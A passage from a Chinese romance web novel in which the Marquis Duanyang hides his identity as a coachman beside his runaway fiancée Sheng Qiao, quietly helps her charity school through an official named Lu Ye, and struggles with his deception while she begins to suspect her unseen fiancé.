不!就连折子戏都写不出这样曲折离奇的故事!
如今却发生在了自己亲大哥的身上。
其实这一切本来很简单,只要大哥说清楚自己的身份,一切问题都迎刃而解了。
所以,大哥为何不直接说明自己的身份呢。
盛乔没想到自己这句话会引得徐肃景这么大的反应,但想想也是,她本身应当是他大哥的未婚妻,如今却堂而皇之地与另一个男人生了情谊,若不是看在她姓盛的份上,只怕当场就要与她翻脸了。
但也正是因为她姓盛,所以才养得出这般坦荡的性子。
即便她喜欢上了一个车夫,她也觉得没什么说不出口的。
于是,盛乔只当自己没看见那跌落在地的茶杯,接着道:“今日我将这些坦然告知二郎君,也是觉得没什么可隐瞒的,我早在一个月之前,就已经与家父提起了退婚之事,但因端阳侯不在长安,只能一推再推,若是二郎君愿意,不知道能不能将我今日的话带给令兄,请他好好考虑一下。”
徐肃景也没想到她会说出这样一番话,看向她的眼神不自觉地就复杂了起来。
她是那般的干净、坦荡,如清风,如明月。
便是他,此时都有些不敢直视她的眼睛,怕印出自己心底那些乱七八糟的谎言。
那他大哥呢?
徐肃景忽然有些不敢去想,若有一日,盛三娘子得知了徐少安就是徐肃年,她会是什么反应。
思及此,他忽然就明白了为何大哥一直没有说出真相。
大概是因为,他无法面对女郎那双干净无暇的眼睛罢。
徐肃景怅然地叹了口气,点头,“放心,盛娘子,你的话我一定替你带到。”
这话绝对是真情实感,带着满满的恳切。
盛乔立刻松了口气,对他感激地笑了笑。
徐肃景心里却更愧疚了,没再多留便找借口告辞。
盛乔和郑墨亲自将他送出大门,等他上马离开之后,两人才
转身回去。
这期间,郑墨始终一言不发。
盛乔不安地看了看她,不知她是不是因为自己刚才的话生气了。
“表姐,你……”盛乔犹豫了一下,还是问了出来,“你是不是不喜欢我和徐少安在一起。”
郑墨本想点头,但在触到盛乔的视线后,又摇了摇头,“没有。”
盛乔不怎么相信的样子,“真的?”
郑墨点了点头,说:“真的。”
盛乔仍仔细盯着她的表情,直看到郑墨无奈牵起嘴角朝她笑了笑之后,才心满意足。
郑墨干脆顿住脚步,对她说:“阿乔,你喜欢谁都不要紧,我只怕你会受伤。”
盛乔以为她也是和纪明实一样,担心徐肃年是贪图自己的富贵,立刻替他解释,“他不会的表姐,他先前并不知道我的身份。”
但实际上,郑墨指的并不是这个。
方才在院子里,她站在徐少安对面,几乎一直在盯着男人的表情看,怎么看怎么觉得今天的徐少安特别的不对劲。
她早就觉得,徐少安并不像个车夫,无论是名字、长相、还是身上的气质,都会让人觉得,他更像一个上位者。
之后郑墨也偶尔会露出这样的想法,但因为她与徐少安的相处时间并不长,且他在盛乔面前时,也并无什么反常的表现,因此那些疑虑便被她暂且压了下去。
但在今日见到徐肃景之后,那被强行压下去的疑虑终于又弹了出来。
虽然徐少安和徐肃景都否认了两人曾见过面,可郑墨就是有一种很强烈的预感,她觉得这两人可能认识。
也或许不仅是认识,而且有什么关联。
徐少安。
徐少安。
郑墨在心里咀嚼着这个名字,忽然生出一个极为离谱的念头。
徐肃景姓徐,徐少安也姓徐,这其中,真的只是巧合吗?
这个想法一冒出来,郑墨自己都被自己吓了一跳。
那徐少安的年岁,一看就比徐肃景要大上几岁,而那徐肃景只有一位兄长,就是端阳侯。
总不可能徐少安就是端阳侯罢?
这想法有些太过荒唐。
郑墨自嘲般地摇了摇头。
盛乔看着她脸上表情一会儿青一会儿白,忍不住问:“表姐,你在想什么,怎么不说话啊?”
郑墨这才回过神,看着自家表妹天真的眉眼,只怕心里的猜测会把她吓到。
毕竟只是猜测,还没有证据,贸然告知阿乔,反而会引得她惶惶不安。
于是,郑墨没再反驳她方才的话,只笑着道:“好,你喜欢就好。”
心里却在想,该给长安去封信,让车行的掌柜寄一副车夫的画像过来,到时候一看便知真假。
盛乔不知道她在想什么,只以为表姐并不反对自己和徐少安之间的事。
回到院子里,盛乔看着还没合上的账本,然后将徐少安上午给自己提的那些关于济善堂的建议告诉了郑墨,“徐少安说,我们可以试着去找一找卢大人。”
她说这话的本意,是想拉高徐少安在表姐面前的好印象,殊不知郑墨听了却更加确信,这个徐少安,绝对不简单。
寻常的车夫哪会知道这些?
郑墨不动声色地哦了一声,示意盛乔接着往下说:“他可说了具体怎么做?”
盛乔摇了摇头,“他只说让我把这些账本好好看完,至少要理出济善堂一年下来所需的开支,并列出相应的计划,否则是没办法拿到卢大人面前看的。”
她指了指桌上那一大摞账本,“刚才你来之前,我和他就一直在看账本,但实在太多了,还有一大半都没呢。”
从盛乔的语气中就能知道,这个徐少安的确对她很好,不仅日常生活照顾有加,连这样的大事,也能一心为她。
郑墨又开始疑惑了,这徐少安若真是在隐瞒身份,那他假扮车夫待在阿乔身边,到底是什么目的?
当然,这话不仅郑墨想问,徐肃景也想问。
大哥到底为何要这么做。
他回到驿馆后,果然看到大哥在房间等着自己,于是他第一时间就把这话问了出来,“大哥,你何苦要骗盛三娘子?”
回答他的是徐肃年长久的沉默。
许久,才听的他长长叹了口气,而后带着些自嘲的语气,说:“我又何尝不想说实话。”
可他不敢。
在刚遇到盛家这位小娘子的时候,他以为两人不过同行一段路,就算日后有缘在京中见到,届时他们也早就退婚,实在没必要多此一举。
他也实在没想到,事情会一步步走到现在。
其实他也清楚,到如今,他坦白不坦白其实已经不重要了,因为就算坦白了真相,先前的那些欺瞒也抹不掉。
无论如何,盛乔都一定会很生气。
因此,他现在几乎已经完全断掉了坦诚真相的心思,只想着能多瞒一天是一天,能多开心一天算一天。
他看着难得表情有些颓丧的兄长,也是半晌说不出话来。
不知过了多久,他才问了一句,“那怎么办?”
徐肃年怅然道:“走一步看一步吧。”
一向果断狠绝的兄长,竟然在男女之情中犹豫不决,徐肃景几乎不敢相信这话是他说出来的。
他还想再问,却见徐肃年站起了身,对他说:“这件事不许对任何人说起,齐甄和齐源也不行。”
徐肃景答应了,然后问他,“大哥要回去了吗?”
徐肃年说:“我去找卢烨,晚膳自己用吧。”
徐肃景以为他是要找卢烨说正事,也想跟着一起去,可话还没说出口,徐肃年就拍了拍他的肩膀,然后径直走了出去。
他找卢烨,不只为了公事,也为了私事。
“侯爷的意思,是届时让我出面,将济善堂归到官府名下。”
卢烨听到徐肃年忽然提起一座书院,其实心里也很诧异,“不知这座书院有何不同,能请得端阳侯出面。”
“我的确有私心,但这也是一桩好事,卢大人本就是科举出身,对学子有体恤之心,是陛下和百姓都乐意见到的。到时候卢大人向陛下提起时,也不提起我的名字,只说这是你自己的意愿就是。”
卢烨问:“侯爷将功劳让给我,所求为何?”
聪明人说话,不必遮遮掩掩,徐肃年同样直白道:“陛下那里的功劳我并不想要,但届时两位娘子找到你时,卢大人别忘了多提一提我的名字。”
看来这两个小娘子就是事情的关键了。
此事对卢烨来说不过举手之劳,他完全没有拒绝的理由,又细问了几句,便点头应下了。
徐肃年总算松了口气,没再多待,转身告辞。
卢烨看着他离去的背影,有些好笑地摇了摇头,心想:没想到一向冷厉不近人情的端阳侯,竟还是个情种。
果然还是年轻人。
徐肃年回到济善堂时,盛乔还在算账,一看到他过来,立刻把算盘往前一推,有些委屈地瞪着他,“你方才去哪了?怎么这么久才回来。”
其实撒谎也是很耗费精力的一件事,因为需要不停地圆谎。
徐肃年心下已经十分疲惫,回来的路上甚至生出了破罐子破摔的念头,干脆直接告诉她真相就是了,无论什么后果,总归婚约还在,只要他不答应退婚,盛乔就跑不了。
但在见到盛乔毫不掩饰的亲昵时,他的这个想法又立刻被压了回去。
这样的氛围,他半点都不舍得破坏。
他不想看到盛乔对自己冷脸,只想看她对自己笑。
于是,他装作若无其事地走过去,然后十分自然地揽住她的腰,在她身边坐下,“是不是累了?”
盛乔软趴趴地靠在他的身上,“特别
特别累。”
其实盛乔不算很娇气的人,但有时说话很喜欢把尾音拖长,听起来就娇滴滴的。
像小猫,像小狗,像刚摘下来的苹果,像含着水珠的青葡萄。像这世界上一切可爱的物事。
徐肃年感觉自己的心脏好像被一根羽毛划了一下,又酥又麻。
房间门关着,琥珀也不在。
徐肃年干脆一手圈住她的细腰,然后将他抱到了自己腿上坐着。
这青天白日的成何体统!
盛乔挣扎着想从他大腿上下来,徐肃年却根本不给她这个机会,他从后面将她圈得更紧,然后下巴枕到她的肩膀上,把头埋了上去。
因为是背对着他,盛乔看不见他的表情,只能感觉到自己肩头的重量,和他在自己颈间乱蹭的头发。
盛乔鲜少见他这个样子,忍不住问:“你是不是,不开心?”
徐肃年动作微微一僵,“为什么这么问。”
“就是觉得你最近好像很累的样子,常常不在房间,有时和我待着也会发呆,好像总有话对我说似的。”
盛乔由着他靠着,没回头,语气却那么认真,徐肃年觉得自己仿佛看到了她澄澈的眼睛。
原来自己的反常她都察觉到了,可她很体贴地没有主动去提。
徐肃年说不出心里是什么滋味。
盛乔没听到他的回答,以为是自己猜对了。
她犹豫了一下,然后戳了戳徐肃年搂在自己腰间的手臂。
徐肃年怔了一下,下意识将她松开了些。
盛乔从他腿上跳下来,却没有离开,而是转了个方向,又重新坐回了他的腿上,与他面对面。
徐肃年重新环住她的腰,将她锁在自己和桌子之间,两只大手正好卡在坚硬的桌沿上,以防盛乔后仰时会撞到。
“徐少安。”盛乔仰头与他对视,“你是不是有什么事瞒着我?”
徐肃年本能地顿了一下,然后否认道:“没有。”
“真的没有吗?”盛乔有些不开心地皱起小脸,“那你最近怎么经常不在家?”
“我……”
徐肃年还没找好合适的借口,一时有些犹疑。
盛乔又接着道:“你是不是在外面找了别的差事?”
徐肃年没反应过来,“……什么?”
盛乔看他这幅表情,还以为他是心虚了,于是叹了口气,说:“最近常常不见你,我便猜想你是不是找到了新的差事,毕竟济善堂每个月的月钱不算多,你想多赚一些钱,也不可厚非。但我希望你是为了自己,不是为了我。”
“小娘子,我……”
盛乔打断他,“你不用总觉得配不上我,我说了喜欢你,就是喜欢你。”
“不光是你这个人,还有你的身份,你的家境,你的一切。”
盛乔总觉得徐少安最近这段时间怪怪的,可又说不出来到底是哪里不对劲,自己私下琢磨了许久,还是觉得问题出在两人的身份上。
想来徐少安是在知道自己的真实身份之后,心理落差太大,有些接受不了两人间的差距,这才出去偷偷接了别的差事,想多赚一些钱弥补。
但实际上,他就算赚得再多,在盛乔看来也还是很穷。
当然这话说出来实在有些打击他的自信心,盛乔只得说得再委婉一些。
徐肃年听了盛乔这话,只觉得像有一股温泉注入了他干涸冰冷的心脏,四肢百骸都跟着温暖起来。
喜欢他,是喜欢他的一切么?
他忍不住在心里悄悄重复了一遍这句话,然后问:“无论我是谁,你都会喜欢我吗?”
“当然。”
盛乔毫不犹豫地点头。
徐肃年见她如此,只觉得像是在一片黑暗中又重新看到了希望,正要再说什么,就听盛乔又紧跟着补充了一句——
“只要你不骗我。”
第35章 正事天下最坏的男人
盛乔的父母一向很恩爱,盛国公这些年来房中都没有姬妾,更无庶出一女,膝下的两子一女,都是郑夫人嫡出。
他们夫妻二十年来恩爱如初,盛乔作为小女儿,是体会最深的那一个。
也正是因为她知道父母之间到底有多恩爱,盛乔自己才会也天真地对爱情充满期待。
当初逃婚,与其说她是不满意徐肃年此人,不如说她是不满意阿爹阿娘对她婚事的安排。
她不想嫁一个陌生人,想嫁一个自己喜欢的人。
虽然这很难,但盛乔还是在一心地期待着。
如今她觉得自己找到了这个人,因此无论他是什么身份,她都能接受。
惟有一点除外,那就是是欺骗。
这当然也源于阿爹阿娘对她自幼的教导——
与人相处,以诚为先。
无论是亲人、朋友,还是夫妻之间,若想长久地相处下去,真诚都是最重要的。
当年郑夫人在知道虞思敏的那件事之后,曾心疼地将她搂在怀里,温柔地对她说:“欺骗与谎言是永远无法支撑人与人的关系,就算你和思敏现在关系再亲近,待他日谎言戳破,也不过空余一地虚无。”
盛乔深以为然,并将其此话奉为圭臬。
因为她觉得自己真的很笨,根本看不出来谁在骗她,她会相信任何人的话。
可她也不想一直都当那个被人耍得团团转的傻子。
因此,她才会对徐少安说这句,“无论你是谁,我都会喜欢你,只要你不骗我。”
她不想被徐少安当成傻子。
徐肃年有一瞬间的愣怔,而后立刻点头,“好,以后再不会骗你。”
他的声音放得很轻,好像怕会惊扰了谁似的。
盛乔朝他弯眸一笑,然后奖赏似的,一把搂住了他的脖子。
从前,徐肃年一直以为,像盛乔这样养在深闺里的小娘子,性子多半会娇怯一些。
但盛乔实在和他想象中的深闺女郎太不一样,她明媚,大方,如春光一般惹眼。
甚至在男女亲近之事上,也不算抗拒,甚至说得上是喜欢。
她时常表露出对自己的亲近,并时不时地向他讨要拥抱。
徐肃年惊喜之余,也很享受她的依赖,在盛乔抱上来的那一刻,就自然而然地环住了她的细腰。
接下来,相拥、接吻都是自然而然的事。
徐肃年本只想蜻蜓点水,可在两人唇齿相碰的那一刻,他的理智就瞬间被燎原。
他急切地吻上去,或者说是咬上去。
盛乔只觉唇角一痛,然后下意识张了下嘴,趁这空挡,男人长驱直入。
只来得及支吾一声不行,唇舌就被勾住。
盛乔被男人攥在怀里,迷蒙间,仿佛能听到叽咕叽咕的水声,让她一下子羞红了耳朵。
盛乔原本就被夹在男人和桌子中间,后腰卡在男人的手掌前,这会几乎要被男人揉进怀里。
她试图将人推开,手掌推在男人的肩膀上,看似是在拒绝,实际力道就像撒娇一样,软绵绵的根本使不上劲,唯一的作用就是让男人把她禁锢得更紧了一些。
反抗不了,便只能被迫承认。盛乔扬起头,修长的脖颈弯如新月,仿若献礼一般,呈上美味。
徐肃年果然也在认真品尝,他唇舌勾住少女柔软的舌尖,如噙着一片花瓣,先是轻轻舔。舐,而后搅弄般地吮。吸。
盛乔头皮发麻,手脚都是软的,她本能地做出回应,实际只是又将人抱得更紧了一点。
徐肃年不知有多享受她对自己的依赖,毫不犹豫地揉着她的腰侧往自己怀里按。
大手揉过来的感觉很奇怪,盛乔顺着他的动作,难耐地扭了扭,然后不自觉地坐在男人的大腿上往前蹭了两下。
男人的动作一下子顿住,握在她腰
间的手也跟着僵了一下。
盛乔从中脱身,脑袋却还有些懵懵的,“怎么了……”
徐肃年不动声色地调整了一下坐姿,两手握着她的细腰,试图把她抱下来。
就如方才不知道怎么就亲到一起了,盛乔此时也不明白,为何他突然就要结束。
并不是只有男人才有欲。望。
盛乔虽然还不明白欲望到底是什么,可她本能地想要和男人凑得更近,想要抱他、亲他,想把脑袋埋在他宽阔温暖的胸口。
可她才不过往前蹭了蹭,甚至没做什么过分的动作,他怎么就又要把她推开了。
盛乔不满意,很是缠人地又往他脖子上搂。
徐肃年无法,只得稍稍弓了下脊背,然后说:“我仿佛听到外面有脚步声,是不是琥珀来了。”
若盛乔是只猫,听到这句话只怕现在脊背上的毛都要根根炸开。
虽然盛乔什么都没听到,但她还是吓得往前一缩,掩耳盗铃地把脑袋藏进男人的胸口,如此眼前一片漆黑,仿佛这样别人也看不到她了似的。
怕被外间的琥珀听到,盛乔不敢大声,只能用气音小声地问徐少安,“琥珀在朝这边走吗?她不会过来罢?”
虽然没有镜子,但两人方才厮磨了那么久,想也知道此时估计衣衫都不整齐。
她现在的模样可没法见人。
院子里空旷安静,连阵风都没有。
徐肃年却煞有介事地点了点头,胡编道:“越来越近了,大约是走过来了。”
盛乔试图抬头看,却被男人的大掌一下子按了回去。
他低低地嘘了一声,压着嗓音在她耳边说:“别出声。”
低沉的声音伴着温热的呼吸,包裹着盛乔露在外面的半只耳朵,天然营造出了一种紧迫感。
盛乔不敢再出声,乖乖地在男人胸口趴着。
徐肃年挪腾了一下大腿,然后单手搂着她,不让她再有过分的动作。
就这样不知过了多久,盛乔觉得自己腰都发酸了,才终于小声问道:“琥珀走了吗?”
徐肃年看了眼紧闭的房门,道:“没听见声音了,大约走了罢。”
盛乔这才算松了口气,重新直起腰,而刚才徐肃年试图拒绝她亲近的事,也被她彻底忘到了脑后。
徐肃年倒是记得,看着她红扑扑的脸蛋,故意问道:“小娘子是不是还想继续?”
过了这么久,情。欲也冷却得差不多了,何况经历了方才那一遭,盛乔满脑子都是外面的琥珀,生怕她会在某时推门进来目睹一切,因此,她就算再想也不敢做什么了。
她摆了摆手,主动从徐肃年的大腿上爬下来。
徐肃年立刻拉过被盛乔蹭飞的袍角,将两腿遮住。
盛乔没注意到他的动作,老老实实地坐回到自己方才的位置上。
徐肃年也怕再闹下去会起火,于是主动将话题转到正事上。他看着桌上摊开的账本,问:“理了多少了?”
就像小时候读书,最怕被先生查功课。现在她明明已经做了先生,却还是怕这样的问题。
好在徐少安并不是先生,不会打她手心,只会抱着她使劲地揉。
盛乔撒娇似的哼了声,“才刚把这三个月的理清楚罢了,其中还没有租赁的银子。”
可即便不算租赁宅子的钱,光是书本印刷,置购文房四宝,冰鉴、灯油、食膳的供应,还有书院里诸位先生、仆役洒扫的月银,种种累加起来,三个月就要一两百贯。
这不算不知道,一算吓一跳。
原来想要维持一件书院,竟要耗费那么多的银票,盛乔的所有月钱加上来,再算上郑墨那两间铺子的营收,也不过勉强能维持书院一年的运转罢了。
若再新赁一座宅子,再重新修缮书堂、校舍,只怕连半年都维持不了。
想到这些,盛乔不由得有些沮丧。
徐肃年看着她的表情变化,忍不住道:“其实,这济善堂到底能不能撑下去,和你并无关系。”
这话盛乔不爱听,当即瞪起眼睛,徐肃年就知道她会是这幅表情,无奈地摇了摇头,说:“以前怎么不知道,你的性子这么倔,偏爱给自己自找苦吃。”
盛乔却难得不赞同地摇了摇头,说:“并非如此。”
这钱算起来好像很多,但对于盛乔来说,并不是多难解决。
即便不向阿爹阿娘讨要,只随便兑几个首饰,她几乎就能立刻就能掏出这笔钱来。
因此,对她来说,银子始终不是什么难事。
难得是要不停填耗银两去维持书院运转,让那些好不容易有了一个避风港的孤儿,不至于真的无家可归。
徐肃年又何尝不知道她心里在想什么。
还记得刚离开长安时,她面对路上的难民,还只会红着眼睛给他们送银子。
如今过去不过月余,她竟然已生出要给洪水中受灾的孩子们建书院的念头。
在这一刻,他忽又有些庆幸,庆幸她当时选择了逃婚而不是守在燕国公府待嫁。
此行不仅让她开阔了眼界,还让他能够提前认识她。
确认盛乔是铁了心要做这件事,徐肃年也没再给她泼冷水,反而认真地鼓励道:“小娘子如今觉得复杂,只是因为其中事情太杂太乱,这些事光是你一个人做,当然是做不成的,你需要给自己找几个帮手,书院可不是只靠一个人就能维持的。”
盛乔没太听懂他的意思,“帮手?我有呀,你不是在呢嘛。”
徐肃年反问:“我若不在呢?”
他拍了拍桌上的账本,“这么多的东西,你一个人怕是要看到猴年马月,届时孟娘子只怕孩子都有了,这院子也早就收回去了。”
这话虽不中听,却是大实话。
可盛乔去哪里找这个帮手,她在洛州根本不认识几个人。
徐肃年自然也明白,“郑娘子在外游历多年,不仅见识广,人脉也更多,这件事交由她做最合适不过。”
“既然这书院,你们两个都想做,不如还按照先前的老样子,郑娘子负责找人出力,你就和孟娘子一样,负责出银子。”
盛乔却不怎么满意,“可这样一来,我不是成了甩手掌柜。”
她当时愿意接手此事,还有一个重要的原因,就是不希望表姐一个人太过操劳。
徐肃年并不嫌她的问题既天真又幼稚,很是耐心地解释道:“若像先前孟娘子那样,当然算是甩手掌柜,但实际上,你也有很多事情需要做。”
怕讲得太深太细,盛乔听不懂,徐肃年便直接道:“难道那些深宅大院里的账房先生,每个月唯一要做的,就只有给人拨银子吗?”
“当然不是。”
盛乔几乎立刻就摇头,虽然她也不知道府里的账房先生具体都要做什么,但知道他们手里都是有很多差使的,且极得阿爹的信任。
“这便是了。”徐肃年道,“你就是一个向自己报账的账房先生,虽然会雇帮手帮你做事,但统率全局,最终敲定算盘,拍板拿主意的那个人,可是你。”
听到他前面的话,盛乔本也觉得自己很厉害,需要做这么多的事。
可到最后,她忽又生出一股子胆怯和不自信来,她看着徐少安,忍不住怀疑自己的能力,“可是,这么重要的事,若是被我搞砸了怎么办?”
她满心期待,却又纠结地想要退缩。
“你觉得我可以吗?”
盛乔本能地想
要寻求一个答案,虽然连她自己都不知道,她想听到的是什么回答。
徐少安听着她不自信的语气,几乎没有任何犹豫,便立刻回道:“当然可以。”
盛乔仍有些不确定,“真的吗?”
这倒不是她不自信,只是她从前从未接触过这么重要的事,忍不住就有些害怕。
徐肃年搂住她的肩头,坚定地点头,“当然。”
脑袋枕在男人肩头,盛乔感到了一股没由来的安心,她仰头看着他,发自内心地夸赞,“徐少安,你真好。”
听到这话,徐肃年唇角的笑意微微一僵,他难得没应下这句夸奖,只道:“时辰还早,我今日先帮你分担一些罢。”
于是,两人又恢复了一人手里摆着一本账本,一把算盘的勤奋模样。
盛乔认真起来就很少说话,徐肃年也不再打扰她,屋子里一时只能听到噼噼啪啪拨算珠的声音。
不知过了多久,盛乔在长桌旁坐得腰酸背痛,便抱着账本和算盘去了一旁的美人榻上靠着。
榻上有一方小炕桌,棉花似的腰枕垫在身后,舒服是舒服了,但也实在太容易侵蚀人的意志力。
盛乔起先还能撑着胳膊继续坚持,但能等徐肃年将一本账本看完,想瞧瞧她那边的进度时,却发现她已经歪倒在美人榻上睡着了。
账本盖在脸上,小算盘被她扔在一边,只露半张脸,也能看到少女独有的娇憨。
徐肃年瞧着她这样子,忍俊不禁地勾了勾唇角。
知道她最近这几天太累了,徐肃年也没有把她叫起来,他轻手轻脚地走倒美人榻旁边,然后帮她把算盘和账本抽出来放到一边,这才松了口气。
他想要坐下,却也没往榻上坐,直接在脚踏上席地而坐,因为这个姿势和高度,正好能让他清晰地瞧见女郎恬静的睡颜。
他一直都知道,盛乔是个活泼性子,平时醒着的时候,几乎没有一刻的消停——
她爱跑爱跳,爱笑爱闹,还特别喜欢讲话,徐肃年从前曾怀疑过,若是一辈子没有人阻拦她,只怕盛小娘子自己和自己都能说到天荒地老。
但睡着的盛乔,看着很乖,完全没有平日里半点跳脱的模样,徐肃年安静地注视着她的侧颜,完全忍不住脑海里的那些腌臜念头——
如果她能一直这么乖,就会永远留在他的身边。
他也不必患得患失。
他忍不住伸手,轻轻触碰少女垂落在额边的碎发,倾身在她的脸侧偷亲了一口。
少女毫不遮掩的夸赞莫名在耳边回响,“徐少安,你真好。”
徐肃年重新坐回去,又在她的纤瘦的手腕上轻轻吻过。
我一点都不好。
徐肃年想,他一定是全世界最坏的男人,才舍得骗他的小娘子-
一天后,盛乔手里的账目总算理完了,虽然有些具体的数目还有些没搞清楚,但已经足够她列出一个完整的规划了。
在徐肃年的帮助下,盛乔将其整合成一封完整的文书,郑墨看到那一项项整齐的数字,都忍不住震惊。
她当时不过随口一说,没想到盛乔竟然真的做了,还坐得这么好,“阿乔,你好厉害啊。”
盛乔开心地收下夸赞,然后将徐肃年将自己说的话告知郑墨,然后问道:“表姐,我们要不要先去找卢大人试试?”
先前盛乔第一次提,她便觉得这法子不错,有了今日这份文书,郑墨更是信心大增,她点了点头,说:“今天下午我就叫人往驿馆给卢大人递帖子。”
不过话是这么说,郑墨心里也没想着卢烨真的会搭理这件事。
毕竟在朝廷官员心里,有太多的事都比这一间小小的书院重要。
但没想到的是,卢烨居然很快就给她们回了贴,还请她们午后到驿馆小叙。
郑墨是既惊又喜,盛乔则在惊喜之余,没忍住又踩了徐肃年一脚,“同样是长安来的官,一个热络主动,一个冷漠拒人于千里之外,怎么会差距这么大。”
这大约就是清官与酷吏之间的区别罢。
盛乔这样想着,飞快换好了出门的衣裳,和郑墨一起坐马车到了驿馆。
卢烨早从徐肃年那里得知了二人身份,对于两位小娘子也是心怀敬意,因此提前在门口等着,丝毫没有官员架子。
盛乔心里又是啧了一声,对卢烨的态度倒是愈加的温和。
她不擅长交际,干脆也没再费话,直接将写好的文书呈上,剩下的话则又郑墨去说。
卢烨一边听,一边拆了文书认真地看。
两个女郎坐在他对面,小心翼翼地觑着他的脸色。
可没想到卢烨答应的速度比梦里还爽快,盛乔都没反应过来,便听到卢烨说:“此等善事,如何能不答应?”
盛乔还懵着,“您这么快就答应了?”
卢烨笑着说:“不瞒二位,我对此事原本也抱有一丝怀疑的,不敢确定两位小娘子是真心想做,还是只是闲暇之余的玩笑,因此心里犹豫。”
“后来是端阳侯也听说了此事,他心中一向忧国忧民,得知此事后便立刻拊掌称赞,不仅说对两位小娘子十分佩服,还极力劝我,让我一定要答应此事。”
“可以说,这件事多亏了端阳侯啊。”
盛乔却自动忽略了他那一大段话,脑海中只精简地提炼出了一句:是端阳侯在帮她。
可徐肃景不是说,徐肃年不在洛州吗?
第36章 噩梦徐肃年对她爱而不得
送拜帖前,郑墨担心卢烨不会见她们,因此在拜帖上特意写上了两人的真实出身。
不过丹宁长公主想与燕国公府联姻这件事,不算低调,但也没有肆意宣扬,京城不知此事的并不在少数。
卢烨就是其中之一,他平日多跟在御前,最常待的地方是书房和翰林院,对于外间的这些人情俗事甚少过问。
因此,他即便知道坐在对面的两个小娘子身份,也不知他们和端阳侯有何关系,还以为端阳侯此举,是对其中哪位小娘子有意,这才暗中授意他帮忙。
此时见两位小娘子表情不对,卢烨还以为自己说错了话,忙顿住声音,问:“小娘子怎么这幅表情?”
盛乔不知他知不知道自己和徐肃年的关系,斟酌着不知如何回答,一旁的郑墨干脆替她开口,“端阳侯不是不在洛州城吗?”
卢烨一愣,下意识问:“谁说的?”
郑墨看了一旁的盛乔一眼,说:“是徐家二郎。”
徐家二郎,那不是徐肃景么?
这两位小娘子还认得徐肃景。
卢烨不是傻子,即便此时还不知道真相,也能猜到他们之间关系不寻常。
只是这端阳侯分明就在洛州,二郎君何苦要骗两位小娘子?
但他又不能在这时候推翻徐肃景的话,只得赔笑着说:“先前是不在,今日方归。”
只是卢烨大概实在不擅长撒谎,就连盛乔都看出他的表情不对来了,但碍于卢烨的身份,也不好问得太细。
卢烨还没忘了徐肃年交代给他的任务,此时不着痕迹地擦了擦额角的冷汗,继续说:“两位小娘子放心,这件事的确是端阳侯特意关照的,这点是万万不会错的。”
从官驿离开后,盛乔上了马车之后第一件事就是问郑墨,“表姐,你有没有觉得不对劲?”
“徐肃年难道早知道我们要来?”
郑墨当然觉得奇怪,他不仅知道盛乔会来,竟还提前在卢烨面前打好了招呼,可他为何要帮她们?
难道他还不知道燕国公府要退婚的事,是仍把盛乔当成自己的未婚妻才会帮忙的?
但想来想去都觉得不太可能。
郑墨百思不得其解,反倒是一旁的盛乔忽然开了口,“我觉得,我可能知道原因。”
郑墨很诧异,抬头看她,“什么原因?”
盛乔的脸色诡异地变了变,似有些生气,也似有些难堪,半晌才说道:“其实我觉得,徐肃年可能是喜欢我。”
郑墨傻眼了,“啊?”
她不明白,“你们不是没见过吗?”
“我的确没见过他,可万一他见过我呢?”
盛乔明显是深思熟虑过的,给出的理由也特别充分,“虽然我家很厉害,但也不是完全没人能够替代,偏偏这许多女郎之中,他非要与我成亲。”
“后来我几次提出要退婚,甚至我阿爹阿娘亲自登门,竟还是被他家拒绝了,如今得知我同在洛州,他一面不敢见我,一边又在背后默默地帮我,表姐你说,这不是暗暗地倾慕我是什么?”
郑墨觉得自己彻底被盛乔带跑偏了,因为她竟然觉得盛乔说得很有道理。
她顺着这思路思考,问:“你的意思是,你没见过她,但他曾在哪见过你?”
盛乔点点头,“兴许罢。”
她摸了摸自己的脸蛋,很真实地在苦恼,“难怪之前阿爹总是告诉我,一定要低调行事。”
“可我从前还不够低调么?我连门都不怎么出诶,宴会也不参加,甚至外间很多人根本不知道盛家还有个三娘子,就这样还……”
说着说着,盛乔又忍不住委屈起来,“谁知道他在哪见到的我呀,既不退婚也不敢见我,真是烦死人了。”
原本郑墨觉得盛乔这想法有些过于离谱,端阳侯是个什么样的人,会因为儿女私情,默默地做这么多事?
可她将这段时间发生的事默默捋了一遍,也觉得除了男人的单相思之外,实在找不到另一种解释。
一时也不知道如何安慰盛乔,郑墨不负责任地乱猜,“兴许是端阳侯长得太丑了,心中自卑,所以才不敢见你罢。”
她本是随口一句猜测,却不知盛乔竟真的顺着这话往下琢磨。
徐肃年不敢面对她,一定是有什么地方拿不出手。
或许表姐说得没错,他就是容颜有瑕。否则为何先前两家几次相看,连徐家最小的三郎君她都见到了,就是不见徐肃年这个正主的影子呢?
不知是不是话本看多了,总之盛乔最近的想象力愈发泛滥。
她一下子想到了一个出身高贵,却长相丑陋,且性格偏执病态的寡言男子,在一次偶然中遇到了年轻、活泼、明媚、开朗、善良、大方且长得像天仙一样的漂亮小娘子,当然这个小娘子就是她。
他瞬间惊为天人,从此对她一见钟情,并发誓非她不娶。
可男人实在太自卑了,不敢表白,幸而还有一个拿得出手的出身,成功与梦中的女神联姻,但即便如此,他还是不敢见她,怕她会嫌弃自己,所以还特意找借口离开长安,也是想避开见面的机会。
只等届时婚期一到,就算她在婚后发现不对劲,也已经反悔不得了。
盛乔不算胆小,这会儿却被自己的想象吓到了,忍不住打了个寒颤。
郑墨看着外面的艳阳天,奇怪地问:“阿乔,你很冷吗?”
盛乔摇了摇头,心里告诉自己不要再继续胡思乱想了。
可她越是不想去想,就越是忍不住要乱想。
当晚睡觉,她甚至还做了噩梦。
梦中,她不知是去做什么,反正是在一处高楼边凭栏远望,欣赏窗边美景。
忽然不知从哪传来一阵奇异的脚步声,她顺着声音传来的方向去看,却什么人都没看见,只得重新扭过头去。
但很奇怪,周围分明没有人,她却总觉得有人在背后默默盯着自己似的。
这感觉让她浑身不舒服,盛乔下楼想要去找,最后不知怎么竟寻到了一处深山老林里,她大着胆子喊人,“有人在吗?”
“有人在吗?”
叫了半天都没有人回应,盛乔疑心是自己看错了,其实根本没有人在。
她转身要走,却正撞上一张骤然放大的面孔。
然后,盛乔就被吓醒了!
她喘着粗气从床上坐起来,临间的琥珀听到动静,披着衣裳走进来,见她满头冷汗,忙去拎了壶热水过来给她擦脸,“小娘子,您怎么了?”
盛乔拿温热擦了擦脸,还有些惊魂未定,“做了个噩梦。”
琥珀想要留下陪她,盛乔不想耽搁她睡觉,没答应,赶她回去好好休息。
但等琥珀走了,她其实也根本睡不着,一闭眼就觉得仿佛周围有人在看自己似的,于是就这样睁眼到天明。
